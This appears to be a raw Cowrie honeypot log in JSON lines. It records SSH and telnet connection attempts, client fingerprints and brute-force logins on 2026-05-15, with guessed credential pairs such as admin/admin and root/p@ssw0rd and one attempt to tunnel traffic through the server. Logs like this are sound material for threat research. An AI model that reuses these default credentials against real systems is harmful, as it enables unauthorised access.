{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":28170,"dst_ip":"10.17.0.5","dst_port":22,"session":"94745bd20c35","protocol":"ssh","message":"New connection: 87.251.64.176:28170 (10.17.0.5:22) [session: 94745bd20c35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:44:45.000806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:44:45.008460Z","src_ip":"87.251.64.176","session":"94745bd20c35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:44:45.105214Z","src_ip":"87.251.64.176","session":"94745bd20c35","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:44:45.398661Z","src_ip":"87.251.64.176","session":"94745bd20c35","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:44:45.498379Z","session":"94745bd20c35","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:44:45.597118Z","src_ip":"87.251.64.176","session":"94745bd20c35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:44:45.702373Z","src_ip":"87.251.64.176","session":"94745bd20c35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:44:49.960727Z","src_ip":"8.218.166.49","session":"7610d8779ee4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.205.93.123","src_port":49924,"dst_ip":"159.203.135.109","dst_port":23,"session":"72f9a7f15c05","protocol":"telnet","message":"New connection: 115.205.93.123:49924 (159.203.135.109:23) [session: 72f9a7f15c05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:44:53.840679Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:44:58.153074Z","src_ip":"8.218.166.49","session":"d3c894e1db63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.347930669784546,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:45:06.188513Z","src_ip":"115.205.93.123","session":"72f9a7f15c05","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev","message":"login attempt [dev/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:45:13.307799Z","src_ip":"8.218.166.49","session":"2f2cbfdcf577","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:45:18.904760Z","src_ip":"8.218.166.49","session":"679874ba4003","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:45:26.206805Z","src_ip":"8.218.166.49","session":"7610d8779ee4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"87.8","message":"Connection lost after 87.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:45:28.173264Z","src_ip":"8.218.166.49","session":"2f2cbfdcf577","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:45:35.036794Z","src_ip":"8.218.166.49","session":"d3c894e1db63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":49184,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac6bd1eb7bd6","protocol":"ssh","message":"New connection: 8.218.166.49:49184 (10.17.0.5:22) [session: ac6bd1eb7bd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:46:12.729328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:46:13.222075Z","src_ip":"8.218.166.49","session":"ac6bd1eb7bd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:46:13.226552Z","src_ip":"8.218.166.49","session":"ac6bd1eb7bd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssw0rd","message":"login attempt [root/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:46:16.350713Z","src_ip":"8.218.166.49","session":"ac6bd1eb7bd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:46:17.598860Z","src_ip":"8.218.166.49","session":"ac6bd1eb7bd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":37142,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1bad247a686","protocol":"ssh","message":"New connection: 8.218.166.49:37142 (10.17.0.5:22) [session: b1bad247a686]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:46:47.282146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:46:47.286853Z","src_ip":"8.218.166.49","session":"b1bad247a686","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":49216,"dst_ip":"10.17.0.5","dst_port":22,"session":"ddcf2bfbe6b4","protocol":"ssh","message":"New connection: 8.218.166.49:49216 (10.17.0.5:22) [session: ddcf2bfbe6b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:46:55.269495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:46:55.275016Z","src_ip":"8.218.166.49","session":"ddcf2bfbe6b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":49224,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8478969a8fe","protocol":"ssh","message":"New connection: 8.218.166.49:49224 (10.17.0.5:22) [session: d8478969a8fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:47:03.492627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:47:03.497618Z","src_ip":"8.218.166.49","session":"d8478969a8fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":58816,"dst_ip":"10.17.0.5","dst_port":22,"session":"e001a519d55c","protocol":"ssh","message":"New connection: 8.218.166.49:58816 (10.17.0.5:22) [session: e001a519d55c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:47:09.321021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:47:09.325962Z","src_ip":"8.218.166.49","session":"e001a519d55c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":14720,"dst_ip":"159.203.135.109","dst_port":22,"session":"e60937fa3cab","protocol":"ssh","message":"New connection: 141.11.21.145:14720 (159.203.135.109:22) [session: e60937fa3cab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:47:28.257585Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:47:28.338575Z","src_ip":"141.11.21.145","session":"e60937fa3cab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":14728,"dst_ip":"159.203.135.109","dst_port":22,"session":"f915813420d7","protocol":"ssh","message":"New connection: 141.11.21.145:14728 (159.203.135.109:22) [session: f915813420d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:47:28.424183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:47:28.429189Z","src_ip":"141.11.21.145","session":"f915813420d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:47:28.513003Z","src_ip":"141.11.21.145","session":"f915813420d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dell","password":"admin@2015","message":"login attempt [dell/admin@2015] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:47:28.764805Z","src_ip":"141.11.21.145","session":"f915813420d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:47:29.851964Z","src_ip":"141.11.21.145","session":"f915813420d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":49594,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6f17f00ca6b","protocol":"ssh","message":"New connection: 8.218.166.49:49594 (10.17.0.5:22) [session: d6f17f00ca6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:47:31.343817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:47:33.328361Z","src_ip":"8.218.166.49","session":"d6f17f00ca6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:47:38.986013Z","src_ip":"8.218.166.49","session":"d6f17f00ca6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:47:48.134630Z","src_ip":"8.218.166.49","session":"e001a519d55c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"onkar","password":"onkar123","message":"login attempt [onkar/onkar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:48:04.571753Z","src_ip":"8.218.166.49","session":"d6f17f00ca6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:48:18.856415Z","src_ip":"8.218.166.49","session":"ddcf2bfbe6b4","protocol":"ssh"}
